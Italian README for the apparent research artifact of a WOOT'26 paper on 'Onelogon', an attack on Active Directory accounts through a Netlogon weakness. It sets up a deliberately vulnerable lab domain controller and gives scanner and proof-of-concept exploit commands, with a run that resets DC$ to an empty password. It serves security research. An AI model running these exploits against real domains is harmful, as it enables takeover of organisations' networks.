Onelogon: Compromissione degli account Active Directory tramite Netlogon

Questo repository contiene il codice e i dati che accompagnano il nostro articolo Onelogon: Compromissione degli account Active Directory tramite Netlogon (WOOT'26).

1. Contesto
2. Come citare
3. Struttura e configurazione dell'artefatto
4. Configurazione di un ambiente di test
5. Analisi di configurazioni vulnerabili
6. Exploit
7. Riproduzione delle misurazioni

Contesto

La vulnerabilità descritta nel nostro articolo attacca una debolezza della patch crittografica del 2020 per la vulnerabilità Zerologon. Gli account elencati in un criterio di gruppo inteso a consentire il supporto a configurazioni legacy che non supportano la firma e la sigillatura (signing and sealing) di Netlogon sono vulnerabili a questo attacco. Una descrizione dettagliata della vulnerabilità, della catena d'attacco completa prevista e delle possibili mitigazioni è disponibile nell'articolo.

Come citare

@inproceedings{woot2026-onelogon,
  title     = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
  author    = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
  booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
  date      = {2026-08},
  editor    = {Bianchi, Antonio and Classen, Jiska},
  location  = {Baltimore, MD, USA},
  publisher = {USENIX Association}
}

Struttura e configurazione dell'artefatto

L'artefatto consiste in un progetto Python poetry per lo scanner e gli exploit.

Per eseguire gli script forniti con l'artefatto, installare Python (3.12 o successivo) e uno tra poetry (istruzioni) oppure uv (istruzioni). Per semplicità, riportiamo i comandi assumendo che tu stia usando poetry; se scegli di usare uv, sostituisci semplicemente ogni occorrenza di poetry con uv.

Tutti i comandi di questo documento vanno eseguiti nella directory principale dell'artefatto (dove si trova questo README).

Se usi poetry, esegui poetry install per installare tutte le dipendenze.

Configurazione di un ambiente di test

Per riprodurre i risultati dell'articolo, puoi configurare un Domain Controller (controllore di dominio) usando una versione di Windows Server con Zerologon corretto (abbiamo verificato l'exploit sia sulle versioni 2019 che 2025).

Per configurare il Domain Controller su una nuova installazione di Windows Server 2025, esegui i seguenti comandi:

# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart

# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"

# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true

La vulnerabilità si applica a qualsiasi account elencato nel DACL dell'oggetto Criteri di gruppo Domain Controller: Allow vulnerable Netlogon secure channel connections o nella corrispondente chiave di registro:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList

Puoi configurare manualmente questi parametri sul Domain Controller (ricorda di eseguire gpupdate /force se aggiorni la voce GPO), oppure eseguire il comando seguente per aggiungere tutti gli account al DACL nella chiave di registro:

Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
                    -Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
                    -ValueName "VulnerableChannelAllowList" `
                    -Type String `
                    -Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone

Analisi di configurazioni vulnerabili

Per determinare quali account un Domain Controller elenca nel suo VulnerableChannelAllowList, forniamo uno scanner che analizza l'hive del registro e la condivisione del volume GPO del Domain Controller. Nota: accedere al registro per questa scansione richiede privilegi di amministratore di dominio (l'exploit, ovviamente, non li richiede).

# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>

# Specify `--help` to get additional usage instructions.
poetry run scan --help

Un risultato di scansione positivo (ci sono account vulnerabili sul Domain Controller) mostrerà il descrittore di sicurezza contenente gli account vulnerabili (nel linguaggio di definizione dei descrittori di sicurezza di Microsoft):

~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
    'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
    O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)

Un risultato negativo (il DC target non è vulnerabile) apparirà invece così:

~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
    - The system cannot find the file specified.

Exploit

Per eseguire l'exploit proof-of-concept contro un Domain Controller target, seleziona prima un account vulnerabile. Ti serviranno l'indirizzo IP del Domain Controller, il suo nome host e il nome dell'account vulnerabile.

Nella nostra configurazione di esempio, il Domain Controller vulnerabile si chiama DC. Il suo account macchina (DC$) è incluso nei criteri GPO e quindi è vulnerabile a Onelogon.

# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name>

# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name> \
                    --comp-username <Computer account> --comp-pass <Computer account password>

# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name> \
                    --comp-username <Computer account> --comp-pass <Computer account password>

# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name>

~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$'
[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None,
    comp_password=None, comp_hash=None, workers=100)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Using flags: (0b100001000111111111111111111111) 
1: A IGNORED (Account lockout)
1: B NT3.5 BDC continuous update
1: C RC4 support
1: D IGNORED (Promotion count(deprecated))
1: E Supports BDC handling Changelogs
1: F Supports Restarting full DC sync
1: G Does not require ValidationLevel 2 for nongeneric passthrough
1: H Supports DatabaseRedo
1: I Supports refusal of password changes
1: J Supports NetrLogonSendToSam
1: K Supports generic pass-through
1: L Supports concurrent RPC calls
1: M Supports avoid of user account database replication
1: N Supports avoid of Security Authority database replication
1: O Supports Strong keys
1: P Supports transitive trusts
1: Q IGNORED (Supports DNS trusts)
1: R Supports NetrServerPasswordSet2
1: S Supports NetrLogonGetDomainInfo
1: T Supports cross-forest trusts
1: U No NT4 Emulation
0: V Supports RODC pass-through
0: 0
0: 0
1: W Supports AES 128-bit CFB and SHA2
0: 0
0: 0
0: 0
0: 0
1: X IGNORED (Authenticated RPC via lsass supported)
0: Y Supports secure RPC authentication
0: Z Supports Kerberos for secure channel setup 
[*] Estimated total tries without flushing: 2^16 / 2

[+] Starting the brute force attack...
[*] ROUND STATS:
[*] REQ:     Took 5.0858272750047036 seconds,
             average time per attempt: 0.00286042028965393909 seconds
[*] TRY:     Took 120.00023781700293 seconds
[*] CLEANUP: Took 5.999754648655653e-08 seconds
[*] ALL:     Took 125.08606619200145 seconds,
             average time per attempt: 0.07035211821822354161 seconds
[*] 
[*] TOTAL STATS:
[*] TOTAL:   0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds
[*] TRIES:   5538, average tries per cycle: 1846
[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours
[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!!
[+] Password set successfully to empty string!
[+] Successfully set the password of DC$ to an empty string!
[+] All tasks have been processed, stopping workers.
[+] All workers have been stopped.

Riproduzione delle misurazioni

Per riprodurre le misurazioni nella Tabella 1 dell'articolo, esegui tutti e quattro gli exploit descritti nella sezione precedente.

Puoi ottenere il tempo d'attacco previsto senza completare l'intero attacco, operazione che sarebbe proibitivamente costosa per gli approcci naive.

La velocità della brute-force a 32 bit che attende il timeout è limitata dal periodo di validità delle sfide del client. Un ciclo completo (in cui possono essere elaborate 100k sfide) richiede quindi 120s (il timeout per lo svuotamento della lista delle sfide). Il tempo d'attacco previsto, di conseguenza, è sempre $\frac{2^{31}}{100000}\cdot 120\mathrm{s} \approx 29.83\mathrm{d}$.

Per gli attacchi che usano un account computer (sia quello a 32 bit che quello a 24 bit), prendi il tempo medio per tentativo $t$ dalla sezione TOTAL STATS dell'output. L'attacco a 32 bit richiede in media $2^{31}$ tentativi (per un tempo totale previsto di $2^{31}t$). Analogamente, la durata prevista dell'attacco a 24 bit è $2^{23}t$.

Per l'approccio meet-in-the-middle, non possiamo provare tutte le possibili credenziali del client entro il tempo di scadenza della sfida di 120 secondi. Il tempo previsto per l'attacco è invece determinato da quanti tentativi di autenticazione possiamo eseguire in quel lasso di tempo. Per ottenere questo valore, prendi il numero medio di tentativi per ciclo $a$ dalla sezione TOTAL STATS dell'output. Poiché servono in media $2^{15}$ tentativi di autenticazione per ottenere un tasso di successo del 50%, il tempo d'attacco previsto è semplicemente $2^{15} \cdot a^{-1} \cdot 120\mathrm{s}$

I tempi esatti ottenuti dipenderanno dalla configurazione hardware e software specifica.